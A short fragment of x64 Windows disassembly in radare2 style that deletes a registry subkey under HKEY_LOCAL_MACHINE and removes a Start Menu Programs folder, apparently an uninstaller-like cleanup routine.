xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x44], eax
lea rdx, [0x14002a683]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.C:ProgramDataMicrosoftWindowsStart_MenuPrograms_
call fcn.140011357
lea rcx, str.C:ProgramDataMicrosoftWindowsStart_MenuPrograms_
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rcx, [rbp - 0x30]
lea rdx, [0x1400299b0]
call fcn.140011771
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.14001123f
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret